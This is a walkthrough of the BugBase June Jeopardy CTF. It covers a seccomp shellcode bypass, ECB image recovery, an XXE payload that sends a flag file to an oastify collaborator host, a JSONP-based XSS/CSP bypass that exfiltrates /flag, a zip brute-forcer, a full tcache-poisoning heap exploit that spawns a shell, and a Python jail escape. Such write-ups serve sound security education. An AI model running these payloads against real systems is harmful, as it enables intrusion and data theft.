1

June Jeopardy - Walkthrough

As a part of our monthly CTF cycle we organized June Jeopardy CTF where over 350+ hackers participated to fight for the top 10 positions. This is a walk through of the june jeopardy CTF.
CTFHackVulnerability
Tuhin Bose
July 4th 2023.
June Jeopardy - Walkthrough

i. Free Flag

Dashboard

Opening the link will redirect us to BugBase's discord server. From the announcement channel, we can directly get the flag.
Free Flag

ii. CookBot

Dashboard

Analysing the binary

Check Sec

As we can see that PIE and NX are disabled, which is a always good sign to go ahead with shell coding.

Let's take a look at the source code.

Code

1 2#include <stdio.h> 3#include <seccomp.h> 4#include <string.h> 5#include <stdlib.h> 6#include <unistd.h> 7 8void setup() { 9 setvbuf(stdin, NULL, _IONBF, 0); 10 setvbuf(stdout, NULL, _IONBF, 0); 11} 12 13void setup_seccomp_filter() { 14 15 16 scmp_filter_ctx ctx; 17 int ret; 18 19 ctx = seccomp_init(SCMP_ACT_KILL); 20 if (ctx == NULL) { 21 perror("seccomp_init failed"); 22 return; 23 } 24 25 ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0); 26 if (ret != 0) { 27 perror("seccomp_rule_add 1 failed"); 28 seccomp_release(ctx); 29 return; 30 } 31 32 ret = seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(sendflag), 0); 33 if (ret != 0) { 34 perror("seccomp_rule_add 2 failed"); 35 seccomp_release(ctx); 36 return; 37 } 38 39 40 ret = seccomp_load(ctx); 41 if (ret != 0) { 42 perror("seccomp_load failed"); 43 seccomp_release(ctx); 44 return; 45 } 46 47 seccomp_release(ctx); 48 49 50} 51 52int check(char *inp) { 53 54 char *blacklist = "\x48\x66\xeb\xcd\x80\x0f\x05\xb0\xb2\xb4\xb6\xb8\xb9\xba\xbe\xbf\xff\x31\x83\xc0\xc2\xc4\xc6\xc7\xe8\xec\xee\xef\xea"; 55 if(strpbrk(inp,blacklist) != NULL){ 56 return 0; 57 } 58 else { 59 return 1; 60 } 61 62} 63 64int main() { 65 setup(); 66 printf("Welcome to our AI cookbot"); 67 printf("\nHere's how it works, just give it a recipe to cook and it'll do the rest of job for you\nBon Apetit ;)\nEnter your recipe: "); 68 char recipe[58]; 69 read(0,recipe,58); 70 if(check(recipe)){ 71 setup_seccomp_filter(); 72 ((void (*)())recipe)(); 73 }else{ 74 printf("That's a bad recipe!!!\n"); 75 } 76} 77 78

So it's time for shellcoding! We have to craft a shellcode that should not include these "\x48\x66\xeb\xcd\x80\x0f\x05\xb0\xb2\xb4\xb6\xb8\xb9\xba\xbe\xbf\xff\x31\x83\xc0\xc2\xc4\xc6\xc7\xe8\xec\xee\xef\xea" opcodes and also using only two syscalls openat and sendfile.
This means that most of the instructions (xor, mov rdi...) which are crucial for shellcoding are not available to us.
....At least that's what the challenge looks at first sight.

But turns out that the function which is used to filter the shellcode is flawed in itself. The strpbrk function stops scanning on null byte! So we don't really need to be clever with the shellcode, we can just insert an instruction that ends up in null bytes and has allowed characters. For example, mov ebx,1 and then we can comfortably use any instructions we want.

All that remains is crafting the payload!

This is the final payload. As you can notice, the first instruction ends in null bytes and has the allowed characters before the null bytes.
Following which, we make two syscalls, the first one is openat, which opens the file flag.txt which is present in the current directory as specified in the dirfd argument(rdi) to the syscall, and returns it's descriptor in rax, this descriptor is then used in the next sendfile syscall which then sends 256 bytes(or upto EOF) to the standard output. That spits out our flag!

iii. Water Cooler

Dashboard

Concept

This challenge was based on the "ECB Penguin" concept. In a gist, it means that AES in ECB mode acts as a "code book" which when loosely translated means it will encrypt the same block of data in the same way.

As an example, encrypting the following Linux Penguin in AES ECB mode gives us,

Tux

Tux-ecb

We can make out the image due to the residue left behind even after encryption.

Solution

1from PIL import Image 2import numpy as np 3 4ct = open("water_cooler.png.enc", "rb").read() 5arr = np.array(list(ct), dtype=np.uint8) 6print(arr.shape) 7arr = arr.reshape((25*3*4, 2*19*79, 4)) 8img = Image.fromarray(arr) 9img.save("flag.png") 10

We need to load the encrypted image by reshaping the array back into the correct dimensions. One way to do this is to factorize the length of the array.

Length of the array = 3602400
Divided by 4 for RGBA channels = 900600
Factors of 900600 = 2^3^x 3 x 5^2^ x 19 x 79
By trial and error, we find the size to be (2534, 21979) or (300, 3002).

Flag: BugBase{just_st0p_us1ng_ECB_please}

iv. BugBase Admin Panel

Dashboard
P.S: Hints are added after 36 hours of the release.

Opening the URL will take us to an admin login page where we have no clue about the username/password. Let's have a look at the source code:
Source Code
From here, we get the username tuhin1729. Now we need only the password.

A simple directory bruteforcing will reveal this:
Directory Bruteforcing
However, since directory listing is not available, we can't fetch the entire .git directory. Let's have a look at the file .git/config

1[core] 2 repositoryformatversion = 0 3 filemode = true 4 bare = false 5 logallrefupdates = true 6[remote "origin"] 7 url = https://github.com/sivadathdev/templates/ 8 fetch = +refs/heads/*:refs/remotes/origin/* 9[branch "main"] 10 remote = origin 11 merge = refs/heads/main 12 13

Opening the GitHub repository URL will reveal that it contains only the HTML templates used in the application. However, there are a couple of commits that drew our attention. Let's take a look at the commits individually,
GitHub Commit
So, we've got the username & password. Now let's log in to the original application using these credentials.
After logging in, we encountered the following portal from where the admin can send emails to the investors.
Admin Dashboard

Upon submitting the form, the data will be sent to the /send endpoint as XML.
Request, Response
Looking at the request body, the first thing which comes to our mind is XML External Entity (XXE). However, since we can't see the output directly, the exploitation will be harder. Our goal is to fetch the content of the file /flagbugbase1.txt. So, we'll try to craft an XXE payload that will read the content of /flagbugbase1.txt and send it to our collaborator server.
For this, first, we'll store the following dtd file in our server

1<!ENTITY % file SYSTEM "file:///flagbugbase1.txt"> 2<!ENTITY % all "<!ENTITY send SYSTEM 'http://738hw2hdlj4b6arncldezarqehk88ywn.oastify.com/?%file;'>"> 3%all; 4

Next, we'll try to invoke this external DTD within our XML payload.
XXE Payload

Let's check if we got something in our collaborator,

Flag

Decoding the base64 encoded value will give us the flag.

v. ROCK

Dashboard

The given URL takes us to a password-protected zip file that contains a pcap file. Let's try bruteforcing the zip password.

Password protected zip file

We'll use the following python code for that:

1import zipfile 2 3def crack_password(password_list, obj): 4 idx = 0 5 with open(password_list, 'rb') as file: 6 for line in file: 7 for word in line.split(): 8 try: 9 idx += 1 10 obj.extractall(pwd=word) 11 print("Password found at line", idx) 12 print("Password is", word.decode()) 13 return True 14 except: 15 continue 16 return False 17 18 19password_list = "/usr/share/wordlists/rockyou.txt" 20 21zip_file = "ctf_pcap.zip" 22 23 24obj = zipfile.ZipFile(zip_file) 25 26 27cnt = len(list(open(password_list, "rb"))) 28 29print("There are total", cnt, 30 "number of passwords to test") 31 32if crack_password(password_list, obj) == False: 33 print("Password not found in this file") 34 35

We'll use rockyou.txt for bruteforce.
zip file password bruteforce
Now let's use the password to extract the zip file.
Opening the pcap file in Wireshark will show a lot of noisy requests. First, we'll try to filter all the HTTP requests.
Wireshark analysis
The POST request seems interesting. Digging deeper into this request we can clearly see the username & password.

Flag: BugBase{n0_0n3_c4n_h4ck_m3}

vi. Tornado Crypto

Dashboard

Concept

This challenge was based on Letter Frequency Analysis. The seemingly useful binary, hex, base64 data and other encrypted data using various ciphers had actually nothing to do with decoding/decrypting them.

Instead, it was actually deceptive. Upon closer inspection, it will be clear that the number of unique encoded/encrypted segments is 26. Which hints that each segment is mapped to a unique letter.

Image

Using this concept, after assigning each segment a unique letter, and replacing, and removing the newlines, we get the following text:

ylu pylql! tjbylqn, uvo rfvh? pylu twf qlwiiu zlnn hjpy uvoq ylwc. jp'n ijrl pylu'ql biwujfa pqjtrn vf on. vfl zvzlfp uvo pyjfr uvo'dl tqwtrlc jp, wfc pyl flkp, gwz! cltlbpjvf npqjrln. gop ylu, ylql'n pyl xiwa wfuhwu, hqwb jp jf xiwa xvqzwp wfc svjf hjpy ofclqntvqln - tjbylqn twf gl cltjldjfa. rllb pywp jf zjfc wn uvo fwdjawpl pyl hvqic vx tvcln wfc boeeiln. ywbbu cltjbylqjfa!

Putting this in https://quipqiup.com/ we get the plaintext back:

hey there! ciphers, you know? they can really mess with your head. it's like they're playing tricks on us. one moment you think you've cracked it, and the next, bam! deception strikes. but hey, here's the flag anyway, wrap it in flag format and join with underscores - ciphers can be decieving. keep that in mind as you navigate the world of codes and puzzles. happy deciphering!

Flag: BugBase{ciphers_can_be_decieving}

vii. Welcoming Hackers As A Service

Dashboard
Opening the URL will lead us to a simple web page where we can enter our hacker alias & it'll show a unique welcome message for us.
Request, Rendered Response

Let's take a look at the source code:
Source Code

We got an HTML comment. Opening the /bugs endpoint will reveal the following page:
/bugs Endpoint
Once we submit the form, it'll show the message: Thank you for your feedback. An image of the endpoint is saved in our system. We'll look into it ASAP.
Now let's get back to the home page. We'll start by trying HTML Injection using a simple payload <h1>bugbase</h1>.

HTML Injection Successful
So there is no sanitization on the alias parameter value. However, when we were trying to get XSS, the CSP blocked us. Let's analyze the CSP at https://csp-evaluator.withgoogle.com/
CSP Analyzing
A little google search took us to this GitHub repository: https://github.com/zigoo0/JSONBee.
Bypass Found
Our goal is to craft an XSS payload that will fetch the content of /flag & send it to our collaborator server.

1<script src="https://m.addthis.com/live/red_lojson/100eng.json?callback=fetch(String.fromCharCode(...[47,102,108,97,103])).then(function%20a(da){return%20da.text()}).then(function%20b(c){%20window.location%20=%20String.fromCharCode(...[104,%20116,%20116,%20112,%20115,%2058,%2047,%2047,%20111,%2053,%20117,%20101,%20121,%2054,%20108,%2098,%20105,%2098,%20115,%2053,%20113,%20110,%2099,%20103,%20103,%2048,%2099,%20118,%2049,%20119,%2057,%2053,%20122,%20119,%2053,%20109,%20116,%2098,%2046,%20111,%2097,%20115,%20116,%20105,%20102,%20121,%2046,%2099,%20111,%20109,%2047,%2063,%20102,%20108,%2097,%20103,%2061]).concat(c)});j="> 2

Now the problem is even if the payload works, we won't be able to send it to admin since it's a POST request with JSON body too!

After spending a couple of minutes, we discovered that there is CORS Misconfiguration in the application,
CORS Misconfiguration
So now we can simply craft a JavaScript code that will send a JSON request to the server. Since CORS is misconfigured so the browser will allow us to do so.

1<!DOCTYPE html> 2<html> 3 <head> 4 <script> 5 var xhttp = new XMLHttpRequest(); 6 xhttp.onreadystatechange = function() { 7 if (this.readyState == 4 && this.status == 200) { 8 var response = xhttp.responseText; 9 document.write(response); 10 } 11 }; 12 13 //Create a JSON object 14 const json = {"alias":"<script src='https://m.addthis.com/live/red_lojson/100eng.json?callback=fetch(String.fromCharCode(...[104, 116, 116, 112, 58, 47, 47, 49, 54, 53, 46, 50, 51, 50, 46, 49, 57, 48, 46, 53, 58, 50, 48, 48, 48, 47, 102, 108, 97, 103])).then(function%20a(da){return%20da.text()}).then(function%20b(c){%20window.location%20=%20String.fromCharCode(...[104,%20116,%20116,%20112,%20115,%2058,%2047,%2047,%20112,%2051,%20116,%2051,%2097,%2054,%2057,%2056,%20108,%20120,%20107,%20122,%20122,%20120,%20105,%20115,%20115,%2097,%20119,%20113,%20107,%20120,%2055,%20112,%20122,%20103,%2053,%2055,%20116,%20120,%20104,%20109,%2046,%20111,%2097,%20115,%20116,%20105,%20102,%20121,%2046,%2099,%20111,%20109,%2047,%2063,%20102,%20108,%2097,%20103,%2061]).concat(c)});j='>"} 15 xhttp.open('POST', 'http://165.232.190.5:2000/'); 16 xhttp.setRequestHeader("Content-Type"," application/json") 17 18 xhttp.withCredentials = true; 19 xhttp.send(JSON.stringify(json)); 20 21 </script> 22 23 </head> 24 <body> 25qwerty 26 </body> 27</html> 28

Now we need to host it in our server & put the URL of the file in the /bugs endpoint.

viii. CIO sitting in a cafe

Dashboard
We are given 2 links, one is the URL of the BugBase Website Manager portal & another one is the recording of the cafe. Once we play the audio, we can identify that it's a DTMF tone. Let's try to decode it,
DTMF Tone Decoded

Now we'll convert the numbers into the actual password:
enter image description here
So the final password will be bugboil.
Now we need only the username. Let's take a look at the source code of the BugBase Website Manager,
Username Found
Using the username & password, we can directly login to the portal & get the flag.

Messenger

Dashboard

Analyzing the binary

Check Sec

So we can see that the binary has pretty much all the protections turned on, except PIE.

File

Source Code

Without wasting much time decompiling the binary in ghidra, I will provide the source code.

1#include <stdio.h> 2#include <stdlib.h> 3#include <unistd.h> 4#include <string.h> 5#include <time.h> 6 7#define NUM_MESSAGES 10 8 9const char* SYSTEM_MESSAGES[] = { 10 11 "Account Verification Required", 12 "New Message Notification", 13 "Account Update Confirmation", 14 "Important Announcement", 15 "Account Deactivation Notice", 16 "Welcome to Messenger App", 17 "Message Sent Successfully", 18 "Chat Backup Completed", 19 "Notification Settings Updated", 20 "Friend Request Received" 21}; 22 23#define SIZE 10 24 25typedef struct { 26 27 char key[16]; 28 char idx; 29 30} KeyValuePair; 31 32int users_idx = 0; 33 34typedef struct UserAc { 35 36 time_t time_of_onboarding; 37 long int uuid[8]; 38 char email_addr[16]; 39 char password[8]; 40 char u_name[16]; 41 char system_messages[7][64]; 42 char messages[10][64]; 43 KeyValuePair *data[SIZE]; 44 45} user_ac; 46 47user_ac *users[8] = {NULL}; 48 49void setup() { 50 51 setvbuf(stdin, NULL, _IONBF, 0); 52 setvbuf(stdout, NULL, _IONBF, 0); 53 for(int i=0;i<8;i++){ 54 users[i]=NULL; 55 } 56 57} 58 59int hash(char* key) { 60 int sum = 0; 61 for (int i = 0; key[i] != '\0'; i++) { 62 sum += key[i]; 63 } 64 return sum % SIZE; 65 } 66 67int menu() { 68 69 int choice; 70 71 do{ 72 73 printf("1.) Log in \n"); 74 printf("2.) Register \n"); 75 printf("3.) Exit\n"); 76 printf("\nEnter your choice: "); 77 scanf("%d",&choice); 78 79 }while(choice > 3 || choice <= 0); 80 81 return choice; 82 83} 84 85int logged_in_menu(char *uuid){ 86 87 int choice; 88 89 do{ 90 printf("\tWelcome %s\n\n",users[hash(uuid)%8]->u_name); 91 printf("1.) Msg a friend \n"); 92 printf("2.) View inbox \n"); 93 printf("3.) View System notifications\n"); 94 printf("4.) Provide Feedback\n"); 95 printf("5.) Delete Account [ Dangerous ]\n"); 96 printf("6.) Log out \n"); 97 printf("\nEnter your choice: "); 98 scanf("%d",&choice); 99 getchar(); 100 101 }while(choice > 6 || choice <=0); 102 103} 104 105char *generate_system_msg(){ 106 107 108 int index = rand() % NUM_MESSAGES; 109 return (char*)SYSTEM_MESSAGES[index]; 110 111} 112 113char* generateUUID(char *uuid) { 114 srand(time(NULL)); 115 116 for (int i = 0; i < 7; i++) { 117 int randomDigit = rand() % 16; // Generate a random number between 0 and 15 118 sprintf(uuid + i, "%X", randomDigit); // Convert the digit to hexadecimal and store it in the UUID string 119 } 120 (uuid)[7] = '\0'; // Add the null-terminating character at the end 121 122} 123 124void onboarding() { 125 126 char username[24],email[24]; 127 long hsh; 128 memset(username,'\0',16); 129 memset(email,'\0',16); 130 131 user_ac *new = (user_ac *)malloc(sizeof(user_ac)); 132 for(int i=0; i<7;i++) { 133 134 char *msg = generate_system_msg(); 135 memcpy(new->system_messages[i],msg,strlen(msg)); 136 137 } 138 139 printf("\nHello Friend.....Hello Friend!?!?\n\n\t<Enter a Mr Robot Meme here>\n\n"); 140 printf("Enter your User name: "); 141 read(0,username,16); 142 printf("Enter your Email address: "); 143 read(0,email,15); 144 char uuid[8]; 145 memset(uuid,'\0',8); 146 generateUUID(uuid); 147 printf("Enter your Password: "); 148 char password[8]; 149 read(0,password,8); 150 151 time_t currentTime; 152 time(&currentTime); 153 154 memcpy(new->uuid,uuid,8); 155 new->time_of_onboarding = currentTime; 156 memcpy(new->u_name,username,strlen(username)); 157 memcpy(new->email_addr,email,strlen(email)); 158 memcpy(new->password,password,strlen(password)); 159 hsh = hash(uuid)%8; 160 users[hsh]=new; 161 printf("\nOnboarding process successfully completed!!!\nYour uuid is: %s\n\n",uuid); 162 163} 164 165void login(char *uuid){ 166 167 printf("Enter uuid: "); 168 char uuid_inp[8]; 169 scanf("%8s",uuid_inp); 170 user_ac *u = users[hash(uuid_inp)%8]; 171 if(u !=NULL) { 172 173 printf("Enter your password: "); 174 char password[8]; 175 read(0,password,8); 176 if(memcmp(password,u->password,8)==0){ 177 printf("\n\tLog in successful!\n\n"); 178 memcpy(uuid,uuid_inp,8); 179 }else { 180 printf("\n\tPassword incorrect,Log in failed!\n\n"); 181 } 182 183 }else { 184 printf("\n\tLog In failed : No Such user\n\n"); 185 } 186 187 188} 189 190void msg_friend(){ 191 192 printf("Enter the uuid of your friend: "); 193 char uuid[8]; 194 fgets(uuid,8,stdin); 195 getchar(); 196 user_ac *u = users[hash(uuid)%8]; 197 198 if(u==NULL){ 199 printf("No such account!\n\n"); 200 return; 201 } 202 203 printf("Enter the msg title: "); 204 char title[16]; 205 fgets(title,16,stdin); 206 u->data[hash(title)%SIZE]=(KeyValuePair*)(malloc(sizeof(KeyValuePair))); 207 memcpy((u->data[hash(title)%SIZE])->key,title,strlen(title)); 208 (u->data[hash(title)%SIZE])->idx= hash(title)%SIZE; 209 char msg[64]; 210 printf("Enter your message: "); 211 fgets(msg,64,stdin); 212 memcpy(u->messages[hash(title)%SIZE],msg,64); 213 printf("\n\tMESSAGE SENT SUCCESSFULLY\n"); 214 215} 216 217void dlt_usr(char *uuid) { 218 219 printf("Are you sure you want to dlt this account?[y?]: "); 220 char i=getchar(); 221 222 if(i=='y') { 223 free(users[hash(uuid)%8]); 224 printf("\n\n\tAccount deleted successfully!\n\n"); 225 226 }else { 227 228 printf("\nPhewww!\n\n"); 229 230 } 231 232 233} 234 235void view_inbox(char *uuid) { 236 237 puts("\n\n\t***OPENING INBOX***"); 238 user_ac *u = users[hash(uuid)%8]; 239 KeyValuePair *nxt_msg; 240 for(int i=0;i<SIZE;i++){ 241 nxt_msg = u->data[i]; 242 if(nxt_msg != NULL) { 243 printf("\nMsg Title: %s\n",nxt_msg->key); 244 printf("Msg Content: %s\n\n",u->messages[nxt_msg->idx]); 245 } 246 247 } 248 249} 250 251void view_system_messages(char *uuid) { 252 253 puts("\n\n\t***OPENING SYSTEM MESSAGES***"); 254 user_ac *u = users[hash(uuid)%8]; 255 for(int i=0;i<7;i++){ 256 257 printf("\n[ SYSTEM ] : %s\n",u->system_messages[i]); 258 259 } 260 puts("\n"); 261 262} 263 264int main() { 265 srand(time(NULL)); 266 char feedback[560]; 267 setup(); 268 int logged_in=0; 269 char uuid[8]; 270 memset(uuid,'\0',8); 271 while (1){ 272 if(logged_in) { 273 274 switch(logged_in_menu(uuid)){ 275 276 case 1: // 277 msg_friend(); 278 break; 279 280 case 2: // view user inbox 281 view_inbox(uuid); 282 break; 283 284 case 3: // view system messages 285 view_system_messages(uuid); 286 break; 287 288 case 4: // provide feedback 289 printf("\n\tWe value your feedback deeply!\n\n"); 290 printf("Enter your feedback: "); 291 fgets(feedback, 560, stdin); 292 printf("\nYour feedback will be due diligently considered by our team\n"); 293 break; 294 295 case 5: //delete user 296 dlt_usr(uuid); 297 memset(uuid,'\0',8); 298 logged_in=0; 299 break; 300 301 case 6: //logout 302 memset(uuid,'\0',8); 303 logged_in=0; 304 printf("\n\n\tLogged Out successfully!\n\n"); 305 break; 306 307 default: 308 break; 309 }; 310 311 }else{ 312 switch(menu()) { 313 case 1: 314 login(uuid); 315 if(memcmp(uuid,"\0\0\0\0\0\0\0\0",8)) { 316 logged_in = 1; 317 } 318 break; 319 case 2: 320 onboarding(); 321 break; 322 case 3: 323 printf("\n\n\n Auf Wiedersehen! :)"); 324 return 0; 325 default: 326 break; 327 328 }; 329 } 330 } 331 332 333 334} 335 336

This is a simple messaging application, with a lot of bugs! Let's analyze the bugs one by one

UAF

Write After Free

There is an easy Use After Free in the msg_friend function. As there is no check on whether the user has been deleted or not before sending the message. Which allows us to send messages to users even after we delete the account.

Read After Free

We can also log in and read the inbox, i.e., the messages sent to any particular user even after their account is deleted.

Writing the Exploit

Let's now jump to the exploit

1#!/usr/bin/python3 2 3from pwn import * 4import time 5 6libc = ELF('libc.so.6', checksec=False) 7r=process('./chall_patched') 8 9info = lambda msg: log.info(msg) 10sla = lambda msg, data: r.sendlineafter(msg, data) 11sa = lambda msg, data: r.sendafter(msg, data) 12sl = lambda data: r.sendline(data) 13s = lambda data: r.send(data) 14sln = lambda msg, num: sla(msg, str(num).encode()) 15sn = lambda msg, num: sa(msg, str(num).encode()) 16 17def onboarding(name = b'test', email = b'test', passwd = b'test'): 18 sln(b'choice: ', 2) 19 sa(b'name: ', name) 20 sa(b'address: ', email) 21 sa(b'Password: ', passwd) 22 r.recvuntil(b'uuid is: ') 23 uuid = r.recvline(False) 24 return uuid 25 26def msg_friend(uuid_fr, msg_title, your_msg): 27 sln(b'choice: ', 1) 28 sla(b'friend: ', uuid_fr) 29 sla(b'title: ', msg_title) 30 sla(b'message: ', your_msg) 31 32def dlt_usr(): 33 sln(b'choice: ', 5) 34 sla(b'[y?]: ', b'y') 35 36def view_inbox(): 37 sln(b'choice: ', 2) 38 39def view_system_messages(): 40 sln(b'choice: ', 3) 41 42def log_out(): 43 sln(b'choice: ', 6) 44 45def login(uuid, passwd = b'test'): 46 sln(b'choice: ', 1) 47 sla(b'uuid: ', uuid) 48 sa(b'password: ', passwd) 49 50uuid = [] 51uuid.append(onboarding()) 52print(uuid) 53login(uuid[0]) 54msg_friend(uuid[0], b'hello', b'hello') 55dlt_usr() 56 57login(uuid[0]) 58msg_friend(uuid[0], b'\x00', b'hello') 59view_inbox() 60r.recvuntil(b'Title: ') 61libc.address = u64(r.recv(6).ljust(8, b'\x00')) - 0x3ec0d0 62info(hex(libc.address)) 63 64for i in range(20): msg_friend(uuid[0], b'hello', b'hello') 65time.sleep(2) 66msg_friend(uuid[0], b'hello', p64(0x20) + p64(0x511) + p64(libc.address+0x3ebca0)*2) 67 68log_out() 69uuid.append(onboarding()) 70login(uuid[0], p64(0x21)) 71print(uuid) 72msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(0)*3 + p64(0x21)) 73log_out() 74login(uuid[1]) 75dlt_usr() 76 77login(uuid[0], p64(0x21)) 78dlt_usr() 79 80login(uuid[0], p64(0x21)) 81msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(0)*2) 82log_out() 83login(uuid[1]) 84dlt_usr() 85 86login(uuid[0], p64(0x21)) 87dlt_usr() 88login(uuid[0], p64(0x21)) 89msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(libc.sym['__free_hook'])) 90msg_friend(uuid[0], b'/bin/sh\x00', p64(0) + p64(0x21) + p64(libc.sym['__free_hook'])) 91msg_friend(uuid[0], p64(libc.sym['system']), p64(0)) 92log_out() 93 94login(uuid[1]) 95dlt_usr() 96 97r.interactive() 98

Firstly, we create and delete a user, this will cause the malloced user chunk(size=0x510) to enter into unsorted bin.

And Here is the chunk in memory.

Now when we delete it, we can see that it went to the unsorted bin.

Leaking libc address

After deleting the user, when we send a message, the malloc call for the message 'title' borrows it's chunk from the large user chunk which just got freed. and gets placed right at the start of the user chunk. This allows us to leak the libc address which is stored at the forward and backward pointers of the unsorted bin chunk by sending a message with an empty title and then reading the inbox (Read After Free).

So now we have the libc leak. What's next?

Now we notice that whenever we try to send a msg, the title malloc borrows chunks from the memory region of the previously allocated user struct. So we send 20 messages repeatedly to fill up to the first index of the user_ac->messages array. And then we forge an unsorted bin chunk by writing the prev_size and nxt_size at the position of the first message(Write after Free). As shown in the image

Now if we create another user, it will return a pointer to this memory region i.e the address 0x1ab2520.

Now we will forge the size of this newly malloced chunk to 0x21 by sending a message with the title \x00 to target the first message in the array.

We will then delete this newly created user so that the address 0x1ab2520 ends up in the tcache. Notice that we are basically creating a setup for tcache poisoning.

Now we will need to delete the first user again, which at this point is just pointing to a 'title' malloc allocation. This is done to avoid the msg_friend to cause an allocation at the address 0x1ab2520. Then we send a message, resetting the size of the forged chunk at 0x1ab250 to 0x21, before freeing it for one more time. This will cause a loop in tcache bin and we can allocate a chunk at 0x1ab250 without removing it from the tcache.

This is what the following code of the exploit does.

1login(uuid[1]) 2dlt_usr() 3 4login(uuid[0], p64(0x21)) 5dlt_usr() 6 7login(uuid[0], p64(0x21)) 8msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(0)*2) 9log_out() 10login(uuid[1]) 11dlt_usr() 12 13login(uuid[0], p64(0x21)) 14dlt_usr() 15

Finally, we are ready to perform tcache poisoning. By sending a mesage to 0th index, ie. the address 0x1ab2510, and we poison the fwd pointer to point to the address of __free_hook.

Now, in the following piece of code, we poison the tcache, which will then return the next pointer of malloc to __free_hook and we will populate it to the address of system function. Also, since there was a loop in tcache, the first pointer returned would be to the first message itself and we set the title as /bin/sh\x00, so when we ultimately call free, it gets called with the argument of /bin/sh instead of the pointer to the chunk free("/bin/sh"). And it ultimately executes system("/bin/sh") due to __free_hook, dropping us with a shell!

1msg_friend(uuid[0], b'hello', p64(0) + p64(0x21) + p64(libc.sym['__free_hook'])) 2msg_friend(uuid[0], b'/bin/sh\x00', p64(0) + p64(0x21) + p64(libc.sym['__free_hook'])) 3msg_friend(uuid[0], p64(libc.sym['system']), p64(0)) 4log_out() 5 6login(uuid[1]) 7dlt_usr() 8 9 10

And Voila!

Cave Python

Dashboard

As we can see that some inputs are restricted while some are allowed and produce Python errors. Bruteforcing each character and special characters we find that the challenge is implementing a whitelist.

[i,a,s,c,n, ' , ', r, h, t, /, ( , ), [, ], +, -]

Now we can try to eval some functions that are allowed in this restricted charset, for eg: chr(),int()

so we can see that it is trying to evaluate our input(if it gets accepted).

we also don't have access to numbers, so we can't use chr() to our advantage. So we have the following functions available to us for use.

1ascii 2chr 3hasattr 4hash 5int 6str 7

The hash function is of interest to us as we can get some numbers with it.

hash() produces large integers when given function names as input. The integer values are nothing but the memory address of those functions

So we can get our hands on '1' and '0' using hash(())/hash(()) and int() respectively. We can use this in conjunction with 'ascii()' and the `chr()' function to give us access to unrestricted input for the second eval.
Here is the action plan:

  • Using the int function and 1's and 0s', we will give the ascii code points of characters in binary format, as we have access to 1s and 0s only
  • These ascii points will then be evaluated by chr() function to produce an output that will be then evaluated by the next eval...

The below script does just that...

1from pwn import * 2 3r = remote("165.232.190.5",1339) 4r.recvuntil(b'>') 5 6def lvl1(inp): 7 word="" 8 for i in inp: 9 char = "ascii(int())" 10 b = bin(ord(i))[2:] 11 for bit in b: 12 if bit == '1': 13 char += '+ascii(hash(())//hash(()))' 14 elif bit == '0': 15 char += '+ascii(int())' 16 word += f"chr(int({char},(hash(())//hash(())+hash(())//hash(()))))+" 17 18 print(eval(word[:-1])) 19 20 return word[:-1].encode() 21 22r.sendline(lvl1("print(eval)")) 23r.interactive() 24 25

So using this script we try out various helpful functions: exec ,eval etc.
Turns out they are blacklisted ...

let's check the globals array

1r.sendline(lvl1("print(globals())")) 2

There's a suspicious blackflag function 🤔. Let's try to execute it...

Voila...There's our flag!!

Following is the challenge code:

1import sys 2import time 3 4LVL_1_WHITELIST = ['i','a','s','c','n',',','r','h','t','/','(',')','[',']','+','-'] 5LVL2_BLACKLIST_WORDS = ['__builtins__', '__import__', 'eval', 'exec', 'import', 6'from', 'os', 'sys', 'system', 'timeit', 'base64commands', 7 'subprocess', 'pty', 'platform', 'open', 'read', 'write', 8 'dir', 'type','input','breakpoint'] 9LVL2_BLACKLIST_CHARS = ('.', '_', '/', '"', ';', ' ', "'", ',','[',']') 10 11def blackflag(): 12 13 FLAG = "BugBase{n0t_h4rd_f0r_th3_l33t_aut0m4t3rs_4afe32}" 14 print(f"Congratulations on finding the FLAG: {FLAG}") 15 16def loop(): 17 18 inp = input('> ') 19 20 try: 21 for i in inp: 22 if i not in LVL_1_WHITELIST: 23 print(f"Eh- I am not expecting that: {i}") 24 return 25 26 lvl1 = eval(inp) 27 print("Are you ready for lvl2 ?") 28 29 for i in LVL2_BLACKLIST_WORDS: 30 if i in lvl1: 31 print(f"Eh- I am not expecting that: {i}") 32 return 33 for i in LVL2_BLACKLIST_CHARS: 34 if i in lvl1: 35 print(f"Eh- I am not expecting that: {i}") 36 return 37 38 print(f"[+] Evaluating {lvl1}") 39 40 lvl2 = eval(lvl1) 41 42 except Exception as e: print(f'Error: {e}\n') 43 44if __name__ == '__main__': 45 46 while True: loop() 47

Let's take your security
to the next level

security